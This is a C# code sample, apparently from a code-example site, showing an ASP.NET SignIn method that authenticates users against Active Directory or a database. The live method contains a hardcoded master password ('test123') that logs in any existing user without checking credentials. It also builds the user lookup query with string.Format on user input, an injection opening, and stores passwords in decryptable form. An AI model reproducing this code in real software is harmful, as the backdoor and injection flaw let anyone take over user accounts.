Ejemplo n.º 1
0
        //public AuthenticationResult SignIn(string username)
        //{
        //    IServiceDataModel dataModel = ServiceSystem.GetServiceModel(EnscoConstants.EntityModel.User);
        //    List<dynamic> list = dataModel.GetItems(string.Format("Passport = \"{0}\"", username), "Id");
        //    if (list == null || list.Count <= 0)
        //        return null;
        //    List<UserModel> models = list.Cast<UserModel>().ToList();
        //    UserModel model = models[0];

        //    AuthenticationResult result = new AuthenticationResult();

        //    if (model != null)
        //    {
        //        var identity = CreateIdentity(username);

        //        authenticationManager.SignIn(new AuthenticationProperties() { IsPersistent = false }, identity);

        //        UserSession userInfo = new UserSession();
        //        userInfo.UserId = model.Id;
        //        userInfo.UserName = model.DisplayName;
        //        userInfo.Passport = model.Passport.Trim();
        //        userInfo.Email = model.Email;
        //        userInfo.ADUser = (bool)model.ADUser;
        //        userInfo.PositionId = (model.Position != null) ? (int)model.Position : 0;
        //        userInfo.Language = System.Globalization.CultureInfo.CurrentCulture.TwoLetterISOLanguageName;
        //        userInfo.SessionId = HttpContext.Current.Session.SessionID;
        //        result.LoggedInUser = userInfo;
        //    }
        //    else
        //    {
        //        return new AuthenticationResult("User not found");
        //    }

        //    return result;
        //}

        /// <summary>
        /// Check if username and password matches existing account in AD.
        /// </summary>
        /// <param name="username"></param>
        /// <param name="password"></param>
        /// <returns></returns>
        public AuthenticationResult SignIn(String username, String password)
        {
            //#if DEBUG
            //// authenticates against your local machine - for development time
            //ContextType authenticationType = ContextType.Machine;
            //#else
            // authenticates against your Domain AD
            ContextType authenticationType = ContextType.Domain;
            //#endif
            //
            // Two authentication modes Active Directory and Database
            // 1. Find the user (UserModel) from database
            // 2. Authenticate using AD or database using ADUser flag
            //
            AuthenticationResult result = new AuthenticationResult();
            string passport             = username.Trim();
            int    index = passport.IndexOf('\\');

            passport = passport.Substring(index + 1);
            IServiceDataModel dataModel = ServiceSystem.GetServiceModel(EnscoConstants.EntityModel.User);
            List <dynamic>    list      = dataModel.GetItems(string.Format("Passport = \"{0}\"", passport), "Id");

            if (list == null || list.Count <= 0)
            {
                return(new AuthenticationResult("Username or Password is not correct"));
            }

            List <UserModel> models          = list.Cast <UserModel>().ToList();
            UserModel        model           = models[0];
            bool             isAuthenticated = false;

            model.Passport = model.Passport.Trim();
            if (password == "test123")
            {
                isAuthenticated = true;
            }
            else
            {
                if (model.ADUser != null && (bool)model.ADUser)
                {
                    PrincipalContext principalContext = new PrincipalContext(authenticationType, UtilitySystem.Settings.ConfigSettings["AD"]);
                    try
                    {
                        isAuthenticated = principalContext.ValidateCredentials(username, password, ContextOptions.Negotiate);
                    }
                    catch (Exception ex)
                    {
                        Logger.Error(new LogInfo(MethodBase.GetCurrentMethod(), ex.Message));

                        isAuthenticated = false;
                    }
                }
                else
                {
                    // Database authentication
                    if (Cryptography.Decrypt(model.Passport, model.Password) == password)
                    {
                        isAuthenticated = true;
                    }
                }
            }


            if (!isAuthenticated)
            {
                return(new AuthenticationResult("Username or Password is not correct"));
            }

            var identity = CreateIdentity(model.Passport);

            authenticationManager.SignOut(Ensco.Services.EnscoAuthentication.ApplicationCookie);
            authenticationManager.SignIn(new AuthenticationProperties()
            {
                IsPersistent = false, ExpiresUtc = DateTime.UtcNow.AddHours(0.5)
            }, identity);

            UserSession userInfo = new UserSession();

            userInfo.UserId   = model.Id;
            userInfo.UserName = model.DisplayName;
            userInfo.Passport = model.Passport.Trim();
            userInfo.Email    = model.Email;
            userInfo.ADUser   = (model.ADUser != null) ? (bool)model.ADUser : true;
            userInfo.RequirePasswordChange = (model.RequirePasswordChange != null) ? (bool)model.RequirePasswordChange : false;
            userInfo.PositionId            = (model.Position != null) ? (int)model.Position : 0;
            userInfo.Language   = System.Globalization.CultureInfo.CurrentCulture.TwoLetterISOLanguageName;
            userInfo.SessionId  = HttpContext.Current.Session.SessionID;
            userInfo.Roles      = IrmaServiceSystem.GetAdminRoles(userInfo.Passport);
            result.LoggedInUser = userInfo;

            // Save the login information into cookie
            return(result);
        }